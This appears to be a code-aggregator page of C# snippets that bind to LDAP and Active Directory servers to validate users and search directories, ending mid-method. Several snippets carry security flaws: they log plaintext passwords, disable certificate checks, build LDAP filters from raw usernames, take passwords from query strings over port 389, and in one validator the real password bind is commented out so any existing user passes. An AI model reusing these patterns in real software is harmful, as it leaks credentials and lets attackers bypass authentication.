示例#1
0
        public LdapState Connect(NetworkCredential credential)
        {
            try
            {
                _ldapConnection = LdapConnectionFactory.GetLdapConnection(credential, _configRepository);
                if (_adminModeChecker.IsAdminMode()) _ldapConnection.Bind(credential);
                if (_adminModeChecker.IsAnonymousMode()) _ldapConnection.Bind(credential);
            }
            catch (Exception e)
            {
                string errorConnectionMessage = String.Format("{0}\n User: {1}\n Pwd: {2}{3}{4}{5}",
                    e.Message,
                    credential.UserName,
                    credential.Password,
                    (_configRepository.GetSecureSocketLayerFlag() ? "\n With SSL " : ""),
                    (_configRepository.GetTransportSocketLayerFlag()? "\n With TLS " : ""),
                    (_configRepository.GetClientCertificateFlag() ? "\n With Client Certificate" : ""));
                _logger.Write(_logger.BuildLogMessage(errorConnectionMessage, LdapState.LdapConnectionError));
                return LdapState.LdapConnectionError;
            }

            var successConnectionMessage = String.Format("Connection success\n User: {0}\n Pwd: {1}{2}{3}{4}",
                credential.UserName,
                credential.Password,
                (_configRepository.GetSecureSocketLayerFlag() ? "\n With SSL " : ""),
                (_configRepository.GetTransportSocketLayerFlag() ? "\n With TLS " : ""),
                (_configRepository.GetClientCertificateFlag() ? "\n With Client Certificate" : ""));
            if (_adminModeChecker.IsNoAdminMode())
                _ldapConnection.Dispose();
            _logger.Write(_logger.BuildLogMessage(successConnectionMessage, LdapState.LdapConnectionSuccess));
            return LdapState.LdapConnectionSuccess;
        }
示例#2
0
 public static void CheckCredentials(string login, string password, string server, int portNumber)
 {
     try
     {
         var domainName = server.Split('/').Last() + ":" + portNumber;
         // if login with domain
         login = login.Split('@')[0];
         using (var ldap = new LDAPProtocols.LdapConnection(domainName))
         {
             var networkCredential = new NetworkCredential(login, password, domainName);
             ldap.SessionOptions.VerifyServerCertificate = new LDAPProtocols.VerifyServerCertificateCallback((con, cer) => true);
             ldap.SessionOptions.SecureSocketLayer       = (portNumber == Constants.SSL_LDAP_PORT);
             ldap.SessionOptions.ProtocolVersion         = 3;
             ldap.AuthType = LDAPProtocols.AuthType.Negotiate;
             ldap.Bind(networkCredential);
         }
     }
     catch (LDAPProtocols.LdapException e)
     {
         if (!e.ErrorCode.Equals(Constants.LDAP_ERROR_INVALID_CREDENTIALS))
         {
             _log.ErrorFormat("Internal LDAP authentication error: {0}.", e);
             throw new COMException();
         }
         throw new DirectoryServicesCOMException();
     }
     catch (Exception e)
     {
         _log.ErrorFormat("Internal AD authentication error: {0}.", e);
         throw new COMException();
     }
 }
        public static SearchResponse GetSearchResponse(string searchFilter, string searchBase, int sizeLimit = 500)
        {
            //Establishing a Connection to the LDAP Server
            //var ldapident = new LdapDirectoryIdentifier(STR_LDAPURL, STR_LDAPPort);
            var ldapident = new LdapDirectoryIdentifier(STR_LDAPOLD, STR_LDAPPort);
            //LdapConnection lc = new LdapConnection(ldapident, null, AuthType.Basic);
            using (var lc = new LdapConnection(ldapident, new NetworkCredential(LDAPUser, LDAPPassword), AuthType.Basic))
            {
                lc.SessionOptions.ProtocolVersion = 3;
                lc.SessionOptions.SecureSocketLayer = true;
                lc.SessionOptions.VerifyServerCertificate = (connection, certificate) => true;
                lc.Bind();

                //Configure the Search Request to Query the UCD OpenLDAP Server's People Search Base for a Specific User ID or Mail ID and Return the Requested Attributes
                var attributesToReturn = new string[]
                                         {
                                             STR_UID, STR_EmployeeNumber, STR_Mail, STR_Telephone, STR_DisplayName, STR_CN,
                                             STR_SN, STR_GivenName, STR_PIDM
                                         };

                var sRequest = new SearchRequest(searchBase, searchFilter, SearchScope.Subtree, attributesToReturn) { SizeLimit = sizeLimit };

                //Send the Request and Load the Response
                var sResponse = (SearchResponse)lc.SendRequest(sRequest);

                return sResponse;
            }
        }
        public static async Task <IActionResult> Run(
            [HttpTrigger(AuthorizationLevel.Function, "get", "post", Route = null)] HttpRequest req,
            ILogger log)
        {
            log.LogInformation("C# HTTP trigger function processed a request.");

            string username = req.Query["username"];
            string password = req.Query["password"];

            string  requestBody = await new StreamReader(req.Body).ReadToEndAsync();
            dynamic data        = JsonConvert.DeserializeObject(requestBody);

            username = username ?? data?.username;
            if (string.IsNullOrEmpty(username) || string.IsNullOrEmpty(password))
            {
                string responseMessage = "Parameters Missing";
                return(new OkObjectResult(responseMessage));
            }



            bool authenticated = false;

            try
            {
                LdapDirectoryIdentifier ldi = new LdapDirectoryIdentifier(Environment.GetEnvironmentVariable("LDAP_SERVER"), 389);
                System.DirectoryServices.Protocols.LdapConnection ldapConnection =
                    new System.DirectoryServices.Protocols.LdapConnection(ldi);
                Console.WriteLine("LdapConnection is created successfully.");
                ldapConnection.AuthType = AuthType.Basic;
                ldapConnection.SessionOptions.ProtocolVersion = 3;
                NetworkCredential nc = new NetworkCredential("uid=" + username + ",ou=people,dc=eastus,dc=cloudapp,dc=azure,dc=com",
                                                             password);
                ldapConnection.Bind(nc);
                Console.WriteLine("LdapConnection authentication success");
                ldapConnection.Dispose();
                authenticated = true;
            }
            catch (DirectoryServicesCOMException cex)
            {
                log.LogInformation(cex.ToString());
            }
            catch (Exception ex)
            {
                log.LogInformation(ex.ToString());
            }



            if (authenticated != true)
            {
                string Message = "USER NOT AUTHENTICATED";
                return(new OkObjectResult(Message));
            }
            else
            {
                string Message = "User is Auth in this organization unit";
                return(new OkObjectResult(Message));
            }
        }
示例#5
0
        //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

        protected void StandardConnect(NetworkCredential credential)
        {
            if (LdapParameterChecker.ParametersIsNullOrEmpty(new []{credential.UserName})) throw new InvalidCredentialException("Username cannot be null or empty");
            if (LdapParameterChecker.ParametersIsNullOrEmpty(new []{credential.Password})) throw new InvalidCredentialException("Password cannot be null or empty");

            _ldapConnection = LdapConnectionFactory.GetLdapConnection(_configRepository);
            _ldapConnection.Bind(credential);
        }
        public Client(string username, string domain, string password, string url)
        {
            var credentials = new NetworkCredential(username, password, domain);
            var serverId = new LdapDirectoryIdentifier(url);

            connection = new LdapConnection(serverId, credentials);
            connection.Bind();      
        }
示例#7
0
 public bool ConnectLDAP()
 {
     m_LdapConnection = new LdapConnection(m_LdapServer);
     m_LdapConnection.SessionOptions.ProtocolVersion = 3;
     m_LdapConnection.AuthType = AuthType.Basic;
     m_LdapConnection.Credential = m_Credential;
     m_LdapConnection.Bind();
     return true;
 }
示例#8
0
        public void Start()
        {
            Guard.IsNull(_connection, "You may only call Start one time.");

            _connection = new LdapConnection(
                new LdapDirectoryIdentifier(_adServer),
                null, AuthType.Negotiate);

            _connection.Bind();

            _timer = new Timer(timerCallback, null,
                              TimeSpan.FromSeconds(0),
                              pollingInterval);
        }
示例#9
0
        public bool IsAuthenticated(string username, string pwd)
        {
            ILog log = LogManager.GetLogger(GetType());
            try
            {
                log.InfoFormat("连接Ldap服务器,server是{0}", Server);
                var connection = new LdapConnection(Server)
                                     {
                                         AuthType = AuthType.Basic
                                     };
                connection.SessionOptions.ProtocolVersion = 3;

                if (!AnonymousLogin)
                {
                    log.InfoFormat("使用Credential账户是{0},密码是{1}", CredentialUserName, CredentialPassword);
                    connection.Credential = new NetworkCredential(CredentialUserName, CredentialPassword ?? "");
                }

                if (IsSsl)
                {
                    log.Info("使用SSL连接");
                    connection.SessionOptions.SecureSocketLayer = true;
                }
                
                log.DebugFormat("创建SearchRequest,distinguishedName是{0},filter是{1}", SearchUserPath, "uid=" + username);
                var searchRequestion = new SearchRequest(SearchUserPath, "uid=" + username, SearchScope.Subtree);

                var searchResult = (SearchResponse)connection.SendRequest(searchRequestion, new TimeSpan(0, 0, 0, 30));
                if (searchResult.Entries.Count == 0)
                {
                    log.InfoFormat("无法通过找到用户.distinguishedName是{0},filter是{1}", SearchUserPath, "uid=" + username);
                    return false;
                }
                SearchResultEntry entry = searchResult.Entries[0];
                string dn = entry.DistinguishedName;
                log.InfoFormat("DN是{0}", dn);

                connection.Credential = new NetworkCredential(dn, pwd);


                connection.Bind();
                return true;
            }
            catch (Exception ex)
            {
                log.Error(ex.Message, ex);
                return false;
            }
        }
        public bool Authenticate(string password)
        {
            try
            {
                var credential = new NetworkCredential(UserName, password, Domain);
                var ldapServer = Domain;
                var ldapConnection = new LdapConnection(ldapServer);
                ldapConnection.Bind(credential);
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
                return false;
            }

            return false;
        }
 public bool ValidateUserInternal(string username, string password)
 {
     LdapConnection connection = new LdapConnection(Domain);
     try
     {
         connection.Bind(new NetworkCredential(username, password));
     }
     catch
     {
         return false;
     }
     finally
     {
         connection.Dispose();
     }
     return true;
 }
        public ValidationResult AuthenticateUser(UserDetails user)
        {
            ValidationResult validationResult = null;
            try
            {
                LdapConnection lcon = new LdapConnection(new LdapDirectoryIdentifier(_adServerAddress, _ldapPortNumber));
                NetworkCredential nc = new NetworkCredential(user.UserName, user.Password, Environment.UserDomainName);

                lcon.Credential = nc;
                lcon.AuthType = AuthType.Negotiate;

                lcon.Bind(nc);

                validationResult = new ValidationResult(true, false, null);
            }
            catch (LdapException e)
            {
                //tbd - investigate other possible ldap exceptions

                //if (e.Message == "The supplied credential is invalid.")
                if (e.ErrorCode.Equals(LDAPError_InvalidCredentials))
                {
                    validationResult = new ValidationResult(false, true, e.Message);
                }
                else
                {
                    //implement logging and exception email handling here.
                    validationResult = new ValidationResult(false, true, "A system error occured, please contact system administrator and/or check system logs.");
                }
            }
            catch (Exception e)
            {
                validationResult = new ValidationResult(false, true, "A system error occured, please contact system administrator and/or check system logs.");

                //add new fields for error logging
                var errorLoggingWSClient = new ErrorLoggingServiceClient();
                errorLoggingWSClient.LogApplicationError(new ApplicationErrorRequest()
                {
                    ApplicationName = "KingstonWharvesWS.ADAuthentication"
                });
            }

            return validationResult;
        }
示例#13
0
        /// <summary>
        /// Autentica a un usuario contra openLDAP y verifica su membresia en alguno de los grupos
        /// </summary>
        /// <param name="nombreUsuario">Nombre de usuario</param>
        /// <param name="password">Contraseña del usuario</param>
        /// <returns>El grupo al que pertenece el usuario o null en caso que no esté registrado.</returns>
        public GrupoLDAP autenticarUsuario(string nombreUsuario, string password)
        {
            // Valida usuario y contraseña correctos
            LdapDirectoryIdentifier serverInfo = new LdapDirectoryIdentifier(Constantes.LDAP_SERVER);
            LdapConnection openLdap = new LdapConnection(Constantes.LDAP_SERVER);
            openLdap.Credential = new System.Net.NetworkCredential("uid=" + nombreUsuario + ",ou=people,dc=ic-itcr,dc=ac,dc=cr", password);
            openLdap.AuthType = AuthType.Basic;
            openLdap.SessionOptions.ProtocolVersion = 3;
            try
            {
                openLdap.Bind();
            }
            catch (Exception e)
            {
                openLdap.Dispose();
                _conexionBD = new ManejoBD();
                _conexionBD.insertarBitacoraError(e.ToString(), "");
                return null;
            }

            // Buscar grupo al que pertenezca el usuario
            foreach (GrupoLDAP grupo in _listadaGrupos.obtenerGruposLDAP())
            {
                SearchRequest searchRequest = new SearchRequest("cn=" + grupo.NombreGrupo + ",ou=group,dc=ic-itcr,dc=ac,dc=cr", "(memberUid=" + nombreUsuario + ")", System.DirectoryServices.Protocols.SearchScope.Subtree);
                try
                {
                    SearchResponse searchResponse = (SearchResponse)openLdap.SendRequest(searchRequest);
                    if (searchResponse.Entries.Count != 0)
                    {
                        openLdap.Dispose();
                        return grupo;
                    }
                }
                catch (Exception e)// En caso que algún grupo registrado en ListadoGruposLDAP.getGroupList() no exista.
                {
                    _conexionBD = new ManejoBD();
                    _conexionBD.insertarBitacoraError(e.ToString(), "Algún grupo registrado en ListadoGruposLDAP.getGroupList() no existe.");
                    continue;
                }
            }
            openLdap.Dispose();
            return null;
        }
示例#14
0
        public LdapUserModel ValidateUsernameAndPassword(string username, string password)
        {
            var ldapServer = Configuration.Server;
            var baseDn = Configuration.BaseDn;

            try
            {
                LdapConnection connection = new LdapConnection(ldapServer);
                connection.SessionOptions.SecureSocketLayer = true;
                connection.SessionOptions.VerifyServerCertificate = (ldapConnection, certificate) => true;
                connection.AuthType = AuthType.Negotiate;

                NetworkCredential credential = new NetworkCredential(username, password);
                connection.Credential = credential;
                connection.Bind();

                string filter = string.Format(CultureInfo.InvariantCulture, "(&(objectClass=user)(objectCategory=user) (sAMAccountName={0}))", LdapEncode(username));
                var attributes = new[] { "sAMAccountName", "displayName", "mail" };
                SearchRequest searchRequest = new SearchRequest(baseDn, filter, SearchScope.Subtree, attributes);

                var searchResponse = (SearchResponse)connection.SendRequest(searchRequest);

                if (searchResponse?.ResultCode == ResultCode.Success)
                {
                    var entry = searchResponse.Entries[0];
                    var model = new LdapUserModel
                    {
                        Identity = GetStringValue(entry, "sAMAccountName"),
                        Email = GetStringValue(entry, "mail"),
                        Username = GetStringValue(entry, "sAMAccountName"),
                    };

                    return model;
                }
            }
            catch (Exception)
            {
                return null;
            }

            return null;
        }
        public bool CheckUserCredential(String UserName, String Password)
        {
            try
            {
                LdapDirectoryIdentifier ldi = new LdapDirectoryIdentifier(_ldapServers, _ldapPort, true, false);
                LdapConnection lc = new LdapConnection(ldi);

                lc.AuthType = AuthType.Kerberos;

                String ldapUser = String.Format("{0}@{1}", UserName, _userSuffix);
                lc.Credential = new NetworkCredential(ldapUser, Password);

                lc.Bind();
                return true;
            }
            catch (Exception e)
            {
                throw;
            }
        }
        public bool CheckCredentials(string login, string password)
        {
            if (login == null)
            {
                throw new ArgumentNullException("login");
            }
            if (password == null)
            {
                throw new ArgumentNullException("password");
            }
            if (Server == null)
            {
                throw new ArgumentNullException("Server");
            }

            try
            {
                var domainName = Server.Split('/').Last() + ":" + PortNumber;
                // if login with domain
                login = login.Split('@')[0];

                using (var ldap = new LDAPProtocols.LdapConnection(domainName))
                {
                    var networkCredential = new NetworkCredential(login, password, domainName);
                    ldap.SessionOptions.VerifyServerCertificate = new LDAPProtocols.VerifyServerCertificateCallback((con, cer) => true);
                    ldap.SessionOptions.SecureSocketLayer       = (PortNumber == SSL_LDAP_PORT);
                    ldap.SessionOptions.ProtocolVersion         = 3;
                    ldap.AuthType = LDAPProtocols.AuthType.Negotiate;
                    ldap.Bind(networkCredential);
                }
                return(true);
            }
            catch (Exception e)
            {
                _log.ErrorFormat("Internal LDAP authentication error: {0}. {1}", e, e.StackTrace);
            }
            return(false);
        }
示例#17
0
        public void InitializeTest()
        {
            ISchemaInfo target = new AdsSchemaInfo();
            using (LdapConnection conn = new LdapConnection("localhost:20389"))
            {
                conn.Bind(System.Net.CredentialCache.DefaultNetworkCredentials);
                target.Initialize(conn);
            }

            int ocs = 0;
            foreach (ObjectClassSchema o in target.ObjectClasses)
            {
                System.Console.WriteLine("oc: {0}", o);
                foreach (AttributeSchema a in o.MustHave)
                    System.Console.WriteLine("  must: {0} as {1}", a, a.LangType);

                foreach (AttributeSchema a in o.MayHave)
                    System.Console.WriteLine("  may : {0} as {1}", a, a.LangType);

                ocs++;
            }

            Assert.IsTrue(ocs >= 10, "At least 10 object classes found");

            ObjectClassSchema user = target.GetObjectClass("USER");
            Assert.IsTrue(user != null, "Found 'USER' (mixed case) objectclass");

            user = target.GetObjectClass("NO-SUCH-THING");
            Assert.IsNull(user);

            AttributeSchema attr = target.GetAttribute("cn");
            Assert.IsNotNull(attr);

            attr = target.GetAttribute("NO-ATTRIBUTE");
            Assert.IsNull(attr);
        }
        private static bool ValidateLdapCredentials(string userName, string password, string domain)
        {
            LdapDirectoryIdentifier directoryIdentifier = new LdapDirectoryIdentifier(domain);
            var credentials = new NetworkCredential(userName, password, domain);
            using (var connection = new LdapConnection(directoryIdentifier, credentials, AuthType.Kerberos))
            {
                connection.SessionOptions.Sealing = true;
                connection.SessionOptions.Signing = true;

                try
                {
                    connection.Bind();
                }
                catch (LdapException ex)
                {
                    if (ex.ErrorCode == ErrorLoginFailure)
                    {
                        return false;
                    }
                    throw;
                }
            }
            return true;
        }
示例#19
0
        // ----- CONSTRUCTORS -----
        /// <summary>
        /// Establishes a connection with an LDAP server that can be used to query or modify its contents.
        /// <param name="servers">A list of servers by fully qualified domain name, host name, ip address, or null.</param>
        /// <param name="portNumber">The port number on the LDAP server that is listening for requests.</param>
        /// <param name="authType">(Optional) The type of authentication to use when connecting with the server. By default this is set to Anonymous (i.e. no credentials required).</param>
        /// <param name="userName">(Optional) The user name to use when connecting to the LDAP server.</param>
        /// <param name="password">(Optional) The password to use with the user name provided to connect to the LDAP server.</param>
        /// <param name="domainName">(Optional) The domain or computer name associated with the user credentials provided.</param>
        /// </summary>
        public LDAP(List<string> servers, int portNumber, AuthType authType = AuthType.Anonymous, string userName = null, SecureString password = null, string domainName = null)
        {
            if (servers != null && servers.Count > 0 && portNumber > 0 && !string.IsNullOrWhiteSpace(userName) && password != null)
            {
                try
                {
                    // Setup the server information for the connection.
                    LdapDirectoryIdentifier directoryIdentifier = new LdapDirectoryIdentifier(servers.ToArray(), portNumber, false, false);

                    // Setup the credential to use when accessing the server. (Or null for Anonymous.)
                    NetworkCredential credential = null;
                    if (authType != AuthType.Anonymous)
                    {
                        credential = new NetworkCredential(userName, password);
                        if (!string.IsNullOrWhiteSpace(domainName))
                        {
                            // A domain was provided. Use it when creating the credential.
                            credential.Domain = domainName;
                        }
                    }

                    // Create the connection to the server(s).
                    try
                    {
                        connection = new LdapConnection(directoryIdentifier, credential, authType);

                        // Gather information about the LDAP server(s) from the RootDSE entry.
                        SearchResponse rootDSESearchResponse = (SearchResponse)connection.SendRequest(new SearchRequest(null, "(objectClass=*)", SearchScope.Base));
                        if (rootDSESearchResponse != null && rootDSESearchResponse.ResultCode == ResultCode.Success)
                        {
                            // Save the rootDSE for access by API clients.
                            rootDSE = rootDSESearchResponse.Entries[0];
                            SearchResultAttributeCollection attributes = rootDSE.Attributes;

                            // Check that LDAP V3 is supported.
                            if (attributes["supportedLDAPVersion"].GetValues(typeof(string)).Contains("3"))
                            {
                                // Get all of the naming contexts this server(s) supports.
                                namingContexts = (string[])attributes["namingContexts"].GetValues(typeof(string));

                                // Set the base DN for searching to the first naming context in the list.
                                searchBaseDN = namingContexts[0];

                                // Get any alternate servers can complete our requests should this one stop responding.
                                // If there are not other servers to contact this attribute is not available.
                                if (attributes.Contains("altServer"))
                                {
                                    alternateServers = (string[])attributes["altServer"].GetValues(typeof(string));
                                }
                            }
                            else
                            {
                                throw new NotSupportedException("The directory server does not support LDAP v3.");
                            }
                        }

                        // Bind to the ldap server with the connection credentials if supplied.
                        if (connection.AuthType != AuthType.Anonymous)
                        {
                            connection.Bind();
                        }
                    }
                    catch (System.ComponentModel.InvalidEnumArgumentException)
                    {
                        // Thrown when authType is out of range.
                        throw new ArgumentOutOfRangeException("authType");
                    }
                }
                catch (ArgumentException)
                {
                    throw new ArgumentException("Entries in the servers parameter can not have spaces.");
                }
            }
            else
            {
                if (servers == null || servers.Count == 0)
                {
                    throw new ArgumentNullException("servers", "The list of servers can not be null or empty.");
                }
                if (portNumber <= 0)
                {
                    throw new ArgumentOutOfRangeException("portNumber", "A port number must be positive.");
                }
            }
        }
        private User queryLdap(string email)
        {
            string ldapFilter = "(objectClass=person)";
            string ldapTarget = DN.Replace("{0}", email);
            User user = new User();

            network = new NetworkCredential(ADMIN, ADMIN_PASS);
            ldapId = new LdapDirectoryIdentifier(HOST, PORT);

            using (LdapConnection connection = new LdapConnection(ldapId, network, AuthType.Basic))
            {
                try
                {
                    connection.SessionOptions.SecureSocketLayer = false;
                    connection.SessionOptions.ProtocolVersion = 3;
                    connection.Bind();

                    SearchRequest searchRequest = new SearchRequest(ldapTarget, ldapFilter, SearchScope.Subtree, "*");
                    SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
                    SearchResultEntry entry = searchResponse.Entries[0];

                    user.email = email;
                    user.userId = entry.Attributes["employeeNumber"][0].ToString();
                    user.userName = entry.Attributes["cn"][0].ToString();
                    user.lastName = entry.Attributes["sn"][0].ToString();
                    user.userGroup = entry.Attributes["departmentNumber"][0].ToString();

                    connection.Dispose();

                    return user;
                }
                catch (LdapException ex)
                {
                    throw new BusinessException(ex.Message);
                }
                catch (Exception e)
                {
                    throw new PlatformException(e.Message);
                }
            }
        }
示例#21
0
        /// <summary>
        /// Authenticate a user against a AD server
        /// </summary>
        /// <param name="username">username to check</param>
        /// <param name="password">password of the user</param>
        /// <returns></returns>
        public bool ValidateUser(string username, string password)
        {
            try
            {
                LdapConnection ldap = new LdapConnection(new LdapDirectoryIdentifier(host, port));
                ldap.SessionOptions.ProtocolVersion = protocolVersion;
                ldap.AuthType = AuthType.Basic;
                ldap.Credential = new NetworkCredential(adminUsername, adminPassword);
                ldap.SessionOptions.SecureSocketLayer = secureSocket;
                ldap.Bind();

                ldap.AuthType = AuthType.Basic;
                SearchRequest searchRequest = new SearchRequest(
                       baseDn,
                       string.Format(CultureInfo.InvariantCulture, "{0}={1}", authUid, username),
                       SearchScope.Subtree
                );

                SearchResponse searchResponse = (SearchResponse)ldap.SendRequest(searchRequest);
                if (1 == searchResponse.Entries.Count)
                {
                    //ldap.Bind(new NetworkCredential(searchResponse.Entries[0].DistinguishedName, password));
                }
                else
                {
                    throw new Exception("Login failed.");
                }
            }
            catch (Exception e)
            {
                //Todo: Pass error to logging framework instead of console!
                Console.WriteLine(e.Message);
                return false;
            }
            return true;
        }
示例#22
0
        /// <summary>
        /// Establish the LDAP Connection
        /// </summary>
        public LdapConnection CreateLDAPConnection()
        {
            LdapDirectoryIdentifier identifier = CreateIdentifier();
            System.Net.NetworkCredential credential = CreateCredentials();

            AuthType _authType = (System.DirectoryServices.Protocols.AuthType)Enum.Parse(typeof(System.DirectoryServices.Protocols.AuthType), this.LDAPAuthType);
            
            LdapConnection connection = new LdapConnection(identifier, credential, _authType);
            connection.SessionOptions.ProtocolVersion = this.ProtocolVers;

            connection.SessionOptions.VerifyServerCertificate = new VerifyServerCertificateCallback(this.VerifyServerCertificate);
            connection.SessionOptions.QueryClientCertificate = new QueryClientCertificateCallback(this.QueryClientCertificate);
            TimeSpan _timeSpan = new TimeSpan(0, 0, this.QueryTimeout);
            connection.Timeout = _timeSpan;
            connection.SessionOptions.SecureSocketLayer = true;
            connection.Bind();
            return connection;
        }
        internal DirectoryInformation(string adspath,
                                                            NetworkCredential credentials,
                                                            string connProtection,
                                                            int clientSearchTimeout,
                                                            int serverSearchTimeout,
                                                            bool enablePasswordReset)
        {

           //
           // all parameters have already been validated at this point
           //

            this.adspath = adspath;
            this.credentials = credentials;
            this.clientSearchTimeout = clientSearchTimeout;
            this.serverSearchTimeout = serverSearchTimeout;

            Debug.Assert(adspath != null);
            Debug.Assert(adspath.Length > 0);

            //
            // Provider must be LDAP
            //
            if (!(adspath.StartsWith("LDAP", StringComparison.Ordinal)))
                throw new ProviderException(SR.GetString(SR.ADMembership_OnlyLdap_supported));

            //
            // Parse out the server/domain information
            //
            NativeComInterfaces.IAdsPathname pathCracker = (NativeComInterfaces.IAdsPathname) new NativeComInterfaces.Pathname();

            try {
                pathCracker.Set(adspath, NativeComInterfaces.ADS_SETTYPE_FULL);
            }
            catch (COMException e)
            {
                if (e.ErrorCode == unchecked((int) 0x80005000))
                    throw new ProviderException(SR.GetString(SR.ADMembership_invalid_path));
                else
                    throw;
            }

            // Get the server and container names
            try
            {
                serverName = pathCracker.Retrieve(NativeComInterfaces.ADS_FORMAT_SERVER);
            }
            catch (COMException e)
            {
                if (e.ErrorCode == unchecked((int) 0x80005000))
                    throw new ProviderException(SR.GetString(SR.ADMembership_ServerlessADsPath_not_supported));
                else
                    throw;
            }
            Debug.Assert(serverName != null);

            creationContainerDN = containerDN = pathCracker.Retrieve(NativeComInterfaces.ADS_FORMAT_X500_DN);

            //
            // Parse out the port number if specified
            //
            int index = serverName.IndexOf(':');
            if (index != -1)
            {
                string tempStr = serverName;

                serverName = tempStr.Substring(0, index);

                Debug.Assert(tempStr.Length > index);
                port = Int32.Parse(tempStr.Substring(index + 1), NumberFormatInfo.InvariantInfo);
                portSpecified = true;
            }

            if (String.Compare(connProtection, "Secure", StringComparison.Ordinal) == 0)
            {
                //
                // The logic is as follows:
                // 1. Try Ssl first and check if concurrent binds are possible for validating users
                // 2. If Ssl is not supported, try signing and sealing
                // 3. If both the above are not supported, then we will fail
                //

                bool trySignAndSeal = false;
                bool trySslWithSecureAuth = false;

                // first try with simple bind
                if (!IsDefaultCredential())
                {

                    authenticationType = GetAuthenticationTypes(ActiveDirectoryConnectionProtection.Ssl, CredentialsType.NonWindows);
                    ldapAuthType = GetLdapAuthenticationTypes(ActiveDirectoryConnectionProtection.Ssl, CredentialsType.NonWindows);

                    try
                    {
                        rootdse = new DirectoryEntry(GetADsPath("rootdse"), GetUsername(), GetPassword(), authenticationType);
                        // this will force a bind
                        rootdse.RefreshCache();
                        this.connectionProtection = ActiveDirectoryConnectionProtection.Ssl;
                        if (!portSpecified)
                        {
                            port = SSL_PORT;
                            portSpecified = true;
                        }
                    }
                    catch (COMException ce)
                    {

                        if (ce.ErrorCode == unchecked((int) 0x8007052e))
                        {
                            //
                            // this could be an ADAM target with windows user (in that case simple bind will not work)
                            //
                            trySslWithSecureAuth = true;
                        }
                        else if (ce.ErrorCode == unchecked((int) 0x8007203a))
                        {
                            // server is not operational error, do nothing, we need to fall back to SignAndSeal
                            trySignAndSeal = true;
                        }
                        else
                            throw;
                     }
                }
                else
                {
                    // default credentials, so we have to do secure bind
                    trySslWithSecureAuth = true;
                }

                if (trySslWithSecureAuth)
                {

                    authenticationType = GetAuthenticationTypes(ActiveDirectoryConnectionProtection.Ssl, CredentialsType.Windows);
                    ldapAuthType = GetLdapAuthenticationTypes(ActiveDirectoryConnectionProtection.Ssl, CredentialsType.Windows);

                    try
                    {
                        rootdse = new DirectoryEntry(GetADsPath("rootdse"), GetUsername(), GetPassword(), authenticationType);
                        // this will force a bind
                        rootdse.RefreshCache();
                        this.connectionProtection = ActiveDirectoryConnectionProtection.Ssl;
                        if (!portSpecified)
                        {
                            port = SSL_PORT;
                            portSpecified = true;
                        }

                    }
                    catch (COMException ce)
                    {
                        if (ce.ErrorCode == unchecked((int) 0x8007203a))
                        {
                            // server is not operational error, do nothing, we need to fall back to SignAndSeal
                            trySignAndSeal = true;
                        }
                        else
                            throw;
                     }

                }

                if (trySignAndSeal)
                {
                    authenticationType = GetAuthenticationTypes(ActiveDirectoryConnectionProtection.SignAndSeal, CredentialsType.Windows);
                    ldapAuthType = GetLdapAuthenticationTypes(ActiveDirectoryConnectionProtection.SignAndSeal, CredentialsType.Windows);

                    try
                    {
                        rootdse = new DirectoryEntry(GetADsPath("rootdse"), GetUsername(), GetPassword(), authenticationType);
                        rootdse.RefreshCache();
                        this.connectionProtection = ActiveDirectoryConnectionProtection.SignAndSeal;
                    }
                    catch (COMException e)
                    {
                        throw new ProviderException(SR.GetString(SR.ADMembership_Secure_connection_not_established, e.Message), e);
                    }
                }
            }
            else
            {
                //
                // No connection protection
                //

                //
                // we will do a simple bind but we must ensure that the credentials are explicitly specified
                // since in the case of default credentials we cannot honor it (default credentials become anonymous in the case of
                // simple bind)
                //
                if (IsDefaultCredential())
                    throw new NotSupportedException(SR.GetString(SR.ADMembership_Default_Creds_not_supported));

                // simple bind
                authenticationType = GetAuthenticationTypes(connectionProtection, CredentialsType.NonWindows);
                ldapAuthType = GetLdapAuthenticationTypes(connectionProtection, CredentialsType.NonWindows);

                rootdse = new DirectoryEntry(GetADsPath("rootdse"), GetUsername(), GetPassword(), authenticationType);

            }

            //
            // Determine whether this is AD or ADAM by binding to the rootdse and
            // checking the supported capabilities
            //
            if (rootdse == null)
                rootdse = new DirectoryEntry(GetADsPath("RootDSE"), GetUsername(), GetPassword(), authenticationType);
            directoryType = GetDirectoryType();

            //
            // if the directory type is ADAM and the conntectionProtection was selected
            // as sign and seal, then we should throw an ProviderException. This is becuase validate user will always fail for ADAM
            // because ADAM does not support secure authentication for ADAM users.
            //
            if ((directoryType == DirectoryType.ADAM) && (this.connectionProtection == ActiveDirectoryConnectionProtection.SignAndSeal))
                throw new ProviderException(SR.GetString(SR.ADMembership_Ssl_connection_not_established));

            //
            // for AD, we need to block the GC ports
            //
            if ((directoryType == DirectoryType.AD) && ((port == GC_PORT) || (port == GC_SSL_PORT)))
                throw new ProviderException(SR.GetString(SR.ADMembership_GCPortsNotSupported));

            //
            // if container dn is null, we need to get the default naming context
            // (containerDN cannot be null for ADAM)
            //
            if (String.IsNullOrEmpty(containerDN))
            {
                if (directoryType == DirectoryType.AD)
                {
                    containerDN = (string)rootdse.Properties["defaultNamingContext"].Value;
                    if (containerDN == null)
                        throw new ProviderException(SR.GetString(SR.ADMembership_DefContainer_not_specified));

                    //
                    // we will create users in the default users container, check that it exists
                    //
                    string wkUsersContainerPath = GetADsPath("<WKGUID=" + GUID_USERS_CONTAINER_W + "," + containerDN + ">");
                    DirectoryEntry containerEntry = new DirectoryEntry(wkUsersContainerPath, GetUsername(), GetPassword(), authenticationType);

                    try
                    {
                        creationContainerDN = (string) PropertyManager.GetPropertyValue(containerEntry, "distinguishedName");
                    }
                    catch (COMException ce)
                    {
                        if (ce.ErrorCode == unchecked((int) 0x80072030))
                            throw new ProviderException(SR.GetString(SR.ADMembership_DefContainer_does_not_exist));
                        else
                            throw;
                    }
                }
                else
                {
                    // container must be specified for ADAM
                    throw new ProviderException(SR.GetString(SR.ADMembership_Container_must_be_specified));
                }
            }
            else
            {
                //
                // Normalize the container name (incase it was specified as GUID or WKGUID)
                //
                DirectoryEntry containerEntry = new DirectoryEntry(GetADsPath(containerDN), GetUsername(), GetPassword(), authenticationType);

                try
                {
                    creationContainerDN = containerDN = (string) PropertyManager.GetPropertyValue(containerEntry, "distinguishedName");
                }
                catch (COMException ce)
                {
                    if (ce.ErrorCode == unchecked((int) 0x80072030))
